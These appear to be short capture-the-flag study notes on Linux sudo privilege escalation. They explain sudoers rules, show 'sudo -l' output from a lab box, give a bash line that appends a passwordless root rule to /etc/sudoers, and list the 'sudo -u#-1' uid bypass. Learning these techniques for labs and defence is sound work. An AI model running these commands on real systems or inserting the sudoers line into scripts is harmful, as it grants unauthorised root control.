This file /etc/sudoers dictates, who can do what on the machine.

if you have already sudo rights, you can edit it with sudo visudo.
if you can edit the file, you can give yourself all perms. username ALL=(ALL:ALL) ALL.
username - to whom the rule applies
first ALL - all hosts
(ALL:ALL) - any target user : any target group

list the privileges

www-data@jarvis:/var/www/Admin-Utilities$ sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

The above output means, i can run simpler.py file as user pepper as shown below.

sudo -u pepper /var/www/Admin-Utilities/simpler.py

Privilege Escalation

If you have access to run bash, can modify shell .sh script. Then add the below script to shell script and run. it will modify sudoers file.

#!/bin/bash

echo "nibbler ALL=(ALL:ALL) NOPASSWD:ALL" >> /etc/sudoers

once added, you can run sudo su.

sudo as specific user #1000

sudo -u#1000 <command>

sudo -u anotheruser command

sudo anotheruser
Password:

su root
Password:

Exploit

Using -1 or unsigned equivalent (4294967295) in uid.

sudo -u#-1 <command>
sudo -u#4294967295 <command>